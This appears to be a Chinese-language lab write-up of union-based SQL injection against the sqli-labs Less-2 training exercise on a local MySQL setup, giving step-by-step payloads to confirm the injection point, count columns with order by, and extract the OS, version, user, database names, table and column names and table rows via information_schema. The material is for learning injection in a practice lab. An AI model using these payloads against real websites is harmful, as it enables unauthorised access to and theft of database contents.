实验目的:
通过注入拿到数据库版本信息、数据库账号信息、表信息、表数据
实验环境:
phpStudy2018 PHP5.4.45 mysql 5.5.53
使用Less-2测试
步骤一:判断是否有注入点
正常输入id=1 url:
步骤二:
方法1:使用传统方法看是否有注入
输入id=1 and 1=1 url: and 1=1
注:这个时候返回的结果与步骤一结果相同,还不能说明有注入点,如果结果不相同,说明有注入点。为什么?自己想想。。
继续传统方法判断是否有注入点
输入id=1 and 1=2 url: and 1=2
注:返回的结果与步骤一结果不一致,说明有注入点,如果结果相同,说明没有注入点。为什么?自己想想。。
此时已经证明存在注入点。。。
方法2:用最简单的方法判断是否有注入点
随便输入id=任意字符串或者其它什么东东,url:
注:此时返回的结果与步骤1不同,说明有注入点。
小结:不管是传统方法也好,还是现在的常规方法也好,判断的原理就是输入的参数是否起作用。所谓起作用,就是参数在数据库中执行语句的时候是否生效。
步骤三:开始注入收集信息
第一步:判断列名数量 使用 order by [num]关键字 ,找临界点
测试1: order by 1
测试2: order by 2
测试3: order by 3
前三次都一样正常返回
测试4: order by 4
第四次不一样,说明临界点在3
第二步:收集版本、名字、用户、操作系统信息
操作系统:@@version_compile_os
url: union select 1,@@version_compile_os,3
得到结果:win32
注:输入的参数是id=-1 union select 1,@@version_compile_os,3,实际执行的mysql语句:
select 1,@@version_compile_os,3
验证这条语句:
数据库版本:version()
url: union select 1,version(),3
得到结果:5.5.53
注:输入的参数是id=-1 union select 1,version(),3,实际执行的mysql语句:
select 1,version(),3
验证这条语句:
数据库名字:database()
数据库用户:user()
同时获取数据库名和用户账户名:url: union select 1,database(),user()
注:输入的参数是id=-1 union select 1,database(),user(),实际执行的mysql语句:
select 1,database(),user()
已经得到数据库版本、数据库名、用户、操作系统信息
操作系统:win32
数据库版本:5.5.53
用户:root@localhost
数据库名:security
第二步:获取数据库下有表信息
url: union select 1,group_concat(table_name),3 from information_schema.tables where TABLE_SCHEMA="security"
得到数据库下表的所有信息:emails,referers,uagents,users
第三步:获取表中所有列的信息
url: union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'
url: union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' and table_schema='security'
url: union select 1,group_concat(column_name),3 from information_schema.columns where table_name='referers' and table_schema='security'
url: union select 1,group_concat(column_name),3 from information_schema.columns where table_name='uagents' and table_schema='security'
第四步:获取每个表的信息就不一一举例
union select * from security.emails
union select 1,email_id,3 from security.emails
union select * from security.referers
union select * from security.referers where id=1
union select * from security.users
union select * from security.userswhere id=1
小结:现在已经拿到了一个数据库的信息,事实上还可以拿到更多数据库的信息,mysql数据5.X版本以上,有一个默认的数据库表信息,记录了数据库下有哪些数据,及每个数据库有哪些表的信息,从而可以拿到更多的信息。接下来获取其它数据库的信息。
补充拿数据库所有信息
第一步:获取所有的数据库信息
url: union select 1,group_concat(schema_name),3 from information_schema.schemata
现在已经获取mysql数据库中所有的数据库信息,重复之前的操作,就可以拿到每个数据库下的数据。
综上总结:1、需要mysql相关的知识点。2、需要明白注入的原理(核心思想就是前端输入没有对参数进行过滤或者检查,直接带到数据库去执行)。